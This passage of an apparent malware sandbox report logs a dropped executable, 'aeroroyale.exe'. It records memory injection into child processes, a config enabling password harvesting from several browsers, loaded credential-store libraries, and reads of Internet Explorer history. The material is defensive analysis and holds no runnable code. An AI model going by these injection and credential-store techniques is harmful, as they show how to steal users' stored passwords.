olmapi32.dll 0x63480000 0x6384efff Memory Mapped File rwx False False False -
mapir.dll 0x64fa0000 0x650d3fff Memory Mapped File rwx False False False -
riched20.dll 0x65290000 0x6541dfff Memory Mapped File rwx False False False -
adal.dll 0x66500000 0x665b4fff Memory Mapped File rwx False False False -
msadox.dll 0x66700000 0x6675afff Memory Mapped File rwx False False False -
msadox.dll 0x66900000 0x6695afff Memory Mapped File rwx False False False -
contab32.dll 0x66a70000 0x66a92fff Memory Mapped File rwx False False False -
davclnt.dll 0x66b30000 0x66b46fff Memory Mapped File rwx False False False -
msores.dll 0x67300000 0x6bfeafff Memory Mapped File rwx False False False -
mso.dll 0x6bff0000 0x6d8d3fff Memory Mapped File rwx False False False -
msointl.dll 0x6ea60000 0x6edd0fff Memory Mapped File rwx False False False -
webio.dll 0x6fd30000 0x6fd7efff Memory Mapped File rwx False False False -
winhttp.dll 0x6fd80000 0x6fdd7fff Memory Mapped File rwx False False False -
davhlpr.dll 0x70250000 0x70257fff Memory Mapped File rwx False False False -
osppc.dll 0x70ac0000 0x70aecfff Memory Mapped File rwx False False False -
d2d1.dll 0x70b80000 0x70c39fff Memory Mapped File rwx False False False -
office.odf 0x716e0000 0x71bdffff Memory Mapped File rwx False False False -
msi.dll 0x71be0000 0x71e1ffff Memory Mapped File rwx False False False -
msvcp100.dll 0x71e50000 0x71eb8fff Memory Mapped File rwx False False False -
msvcr100.dll 0x71ec0000 0x71f7efff Memory Mapped File rwx False False False -
msimg32.dll 0x729a0000 0x729a4fff Memory Mapped File rwx False False False -
oleacc.dll 0x72fc0000 0x72ffbfff Memory Mapped File rwx False False False -
powrprof.dll 0x74030000 0x74054fff Memory Mapped File rwx False False False -
ntmarta.dll 0x740e0000 0x74100fff Memory Mapped File rwx False False False -
wtsapi32.dll 0x74370000 0x7437cfff Memory Mapped File rwx False False False -
dwmapi.dll 0x744c0000 0x744d2fff Memory Mapped File rwx False False False -
gdiplus.dll 0x74660000 0x747effff Memory Mapped File rwx False False False -
uxtheme.dll 0x747f0000 0x7482ffff Memory Mapped File rwx False False False -
comctl32.dll 0x74970000 0x74b0dfff Memory Mapped File rwx False False False -
version.dll 0x74ee0000 0x74ee8fff Memory Mapped File rwx False False False -
secur32.dll 0x758a0000 0x758a7fff Memory Mapped File rwx False False False -
sspicli.dll 0x758c0000 0x758dafff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
winsta.dll 0x75950000 0x75978fff Memory Mapped File rwx False False False -
profapi.dll 0x75990000 0x7599afff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x75a60000 0x75a86fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
devobj.dll 0x75bb0000 0x75bc1fff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
clbcatq.dll 0x75e00000 0x75e82fff Memory Mapped File rwx False False False -
urlmon.dll 0x75e90000 0x75fc5fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
wldap32.dll 0x75ff0000 0x76034fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
setupapi.dll 0x76dc0000 0x76f5cfff Memory Mapped File rwx False False False -
iertutil.dll 0x76f70000 0x7716afff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
wininet.dll 0x77660000 0x77754fff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffd6000 0x7ffd6000 0x7ffd6fff Private Memory rw True False False -
private_0x000000007ffd7000 0x7ffd7000 0x7ffd7fff Private Memory rw True False False -
private_0x000000007ffd9000 0x7ffd9000 0x7ffd9fff Private Memory rw True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffdb000 0x7ffdb000 0x7ffdbfff Private Memory rw True False False -
private_0x000000007ffdc000 0x7ffdc000 0x7ffdcfff Private Memory rw True False False -
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd34 address = 0x400000, size = 102400 True 1
Fn
Data
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd34 address = 0x7ffdc008, size = 4 True 1
Fn
Data
Modify Control Flow #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd34 os_tid = 0xd4c, address = 0x0 True 1
Fn
Threads
Thread 0xd4c
50 0
»
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2018-08-01 10:20:18 (UTC) True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsAlloc, address_out = 0x777b418d True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x777b1f61 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x777b1e16 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x777b76e6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x777b3879 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x777624d8 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x77792111 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x777a2510 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7779b009 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x778689be True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x7785c02a True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x7785c0d2 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x77793f78 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77868bfb True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x7785b567 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77885998 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77852251 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x778528f6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x77792004 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x777e9aa9 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x777ef3cf True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x777bebc6 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x777ff29f True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x777953a5 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x777ff21a True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x777ef70b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x777ef71b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x777ef72b True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7779eb4e True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Registry Create Key reg_name = HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook, value_name = DLLPathEx, data = 67 True 1
Fn
Module Load module_name = C:\PROGRA~1\MICROS~1\Office15\OLMAPI32.DLL, base_address = 0x63480000 True 1
Fn
File Create filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp, desired_access = FILE_APPEND_DATA True 1
Fn
System Get Time type = Ticks, time = 262190 True 1
Fn
System Get Time type = Ticks, time = 262206 True 1
Fn
COM Create interface = 9240A6CD-AF41-11D2-8C3B-00104B2A6676, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp, size = 54 True 1
Fn
Data
Module Get Handle module_name = mscoree.dll False 1
Fn
Process #11: aeroroyale.exe
277 0
»
Information Value
ID #11
File Name c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe
Command Line "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:03:27, Reason: Child Process
Unmonitor End Time: 00:03:36, Reason: Self Terminated
Monitor Duration 00:00:09
OS Process Information
»
Information Value
PID 0xd50
Parent PID 0xc08 (c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D54
0x D64
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
private_0x0000000000020000 0x00020000 0x00020fff Private Memory rw True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
private_0x0000000000140000 0x00140000 0x00140fff Private Memory rw True False False -
private_0x0000000000150000 0x00150000 0x0024ffff Private Memory rw True False False -
locale.nls 0x00250000 0x002b6fff Memory Mapped File r False False False -
pagefile_0x00000000002c0000 0x002c0000 0x00387fff Pagefile Backed Memory r True False False -
private_0x0000000000390000 0x00390000 0x0039ffff Private Memory rw True False False -
pagefile_0x00000000003a0000 0x003a0000 0x003a0fff Pagefile Backed Memory rw True False False -
rsaenh.dll 0x003b0000 0x003ebfff Memory Mapped File r False False False -
private_0x00000000003b0000 0x003b0000 0x003dffff Private Memory rw True False False -
tzres.dll 0x003b0000 0x003b0fff Memory Mapped File r False False False -
private_0x00000000003b0000 0x003b0000 0x003bffff Private Memory rw True False False -
pagefile_0x00000000003b0000 0x003b0000 0x003b7fff Pagefile Backed Memory rw True False False -
pagefile_0x00000000003c0000 0x003c0000 0x003c6fff Pagefile Backed Memory r True False False -
private_0x00000000003d0000 0x003d0000 0x003dffff Private Memory rw True False False -
pagefile_0x00000000003e0000 0x003e0000 0x003e1fff Pagefile Backed Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory rw True False False -
private_0x0000000000400000 0x00400000 0x0045afff Private Memory rwx True False False -
pagefile_0x0000000000460000 0x00460000 0x00560fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000570000 0x00570000 0x0116ffff Pagefile Backed Memory r True False False -
private_0x0000000001170000 0x01170000 0x0126ffff Private Memory rw True False False -
sortdefault.nls 0x01270000 0x0153efff Memory Mapped File r False False False -
private_0x0000000001540000 0x01540000 0x0163ffff Private Memory rw True False False -
private_0x0000000001640000 0x01640000 0x01740fff Private Memory rw True False False -
nss3.dll 0x01640000 0x017f1fff Memory Mapped File r False False False -
private_0x0000000001640000 0x01640000 0x0173ffff Private Memory rw True False False -
pagefile_0x0000000001640000 0x01640000 0x01647fff Pagefile Backed Memory rw True False False -
private_0x0000000001700000 0x01700000 0x0173ffff Private Memory rw True False False -
private_0x0000000001740000 0x01740000 0x0183ffff Private Memory rw True False False -
private_0x0000000001840000 0x01840000 0x0193ffff Private Memory rw True False False -
private_0x0000000001900000 0x01900000 0x019fffff Private Memory rw True False False -
pagefile_0x0000000001a00000 0x01a00000 0x01df2fff Pagefile Backed Memory r True False False -
nss3.dll 0x63120000 0x632d4fff Memory Mapped File rwx False False False -
msvcr100.dll 0x665c0000 0x6667dfff Memory Mapped File rwx False False False -
freebl3.dll 0x666c0000 0x6670efff Memory Mapped File rwx False False False -
freebl3.dll 0x66710000 0x6675efff Memory Mapped File rwx False False False -
softokn3.dll 0x66930000 0x66956fff Memory Mapped File rwx False False False -
nssdbm3.dll 0x66940000 0x66956fff Memory Mapped File rwx False False False -
msvcp100.dll 0x669c0000 0x66a28fff Memory Mapped File rwx False False False -
mozglue.dll 0x66a30000 0x66a51fff Memory Mapped File rwx False False False -
wsock32.dll 0x66a60000 0x66a66fff Memory Mapped File rwx False False False -
softokn3.dll 0x66a70000 0x66a96fff Memory Mapped File rwx False False False -
nssdbm3.dll 0x66a80000 0x66a96fff Memory Mapped File rwx False False False -
vaultcli.dll 0x66ae0000 0x66aebfff Memory Mapped File rwx False False False -
pstorec.dll 0x66b10000 0x66b1cfff Memory Mapped File rwx False False False -
comctl32.dll 0x66b50000 0x66bd3fff Memory Mapped File rwx False False False -
winmm.dll 0x6f370000 0x6f3a1fff Memory Mapped File rwx False False False -
atl.dll 0x73d80000 0x73d93fff Memory Mapped File rwx False False False -
version.dll 0x74ee0000 0x74ee8fff Memory Mapped File rwx False False False -
rsaenh.dll 0x75200000 0x7523afff Memory Mapped File rwx False False False -
cryptsp.dll 0x75460000 0x75475fff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
urlmon.dll 0x75e90000 0x75fc5fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
nsi.dll 0x76f60000 0x76f65fff Memory Mapped File rwx False False False -
iertutil.dll 0x76f70000 0x7716afff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
comdlg32.dll 0x772e0000 0x7735afff Memory Mapped File rwx False False False -
oleaut32.dll 0x77360000 0x773eefff Memory Mapped File rwx False False False -
rpcrt4.dll 0x773f0000 0x77490fff Memory Mapped File rwx False False False -
shlwapi.dll 0x774a0000 0x774f6fff Memory Mapped File rwx False False False -
ole32.dll 0x77500000 0x7765bfff Memory Mapped File rwx False False False -
wininet.dll 0x77660000 0x77754fff Memory Mapped File rwx False False False -
kernel32.dll 0x77760000 0x77833fff Memory Mapped File rwx False False False -
ntdll.dll 0x77840000 0x7797bfff Memory Mapped File rwx False False False -
psapi.dll 0x77980000 0x77984fff Memory Mapped File rwx False False False -
imm32.dll 0x779a0000 0x779befff Memory Mapped File rwx False False False -
lpk.dll 0x77a20000 0x77a29fff Memory Mapped File rwx False False False -
ws2_32.dll 0x77a30000 0x77a64fff Memory Mapped File rwx False False False -
apisetschema.dll 0x77a80000 0x77a80fff Memory Mapped File rwx False False False -
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory r True False False -
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory r True False False -
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory rw True False False -
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory rw True False False -
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory rw True False False -
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd38 address = 0x400000, size = 372736 True 1
Fn
Data
Modify Memory #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd38 address = 0x7ffda008, size = 4 True 1
Fn
Data
Modify Control Flow #7: c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe 0xd38 os_tid = 0xd54, address = 0x0 True 1
Fn
Threads
Thread 0xd54
277 0
»
Category Operation Information Success Count Logfile
Module Get Handle module_name = private_0x0000000000400000, base_address = 0x400000 True 2
Fn
Module Load module_name = comctl32.dll, base_address = 0x66b50000 True 1
Fn
Module Get Address module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll, function = InitCommonControlsEx, address_out = 0x66b56be6 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x760f0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\shell32.dll, function = SHGetSpecialFolderPathW, address_out = 0x76110468 True 1
Fn
Module Get Handle module_name = private_0x0000000000400000, base_address = 0x400000 True 2
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale_lng.ini, type = file_attributes False 1
Fn
Module Get Handle module_name = private_0x0000000000400000, base_address = 0x400000 True 18
Fn
Module Get Filename process_name = c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe, file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe, size = 260 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = ShowGridLines, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = SaveFilterIndex, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = ShowInfoTip, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = MarkOddEvenRows, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = ShowTimeInGMT, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsIE, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsFirefox, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsChrome, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsOpera, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsSafari, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsSeaMonkey, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = LoadPasswordsYandex, default_value = 1 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = UseFirefoxProfileFolder, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = UseFirefoxInstallFolder, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = UseChromeProfileFolder, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = UseOperaPasswordFile, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = FirefoxProfileFolder False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = FirefoxInstallFolder False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = ChromeProfileFolder False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = OperaPasswordFile False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = SaveFileEncoeding, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = WinPos False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = Columns False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.cfg, section_name = General, key_name = Sort, default_value = 0 True 1
Fn
System Get Info type = Operating System True 1
Fn
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 32, size_out = 32 True 1
Fn
Data
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 384, size_out = 384 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
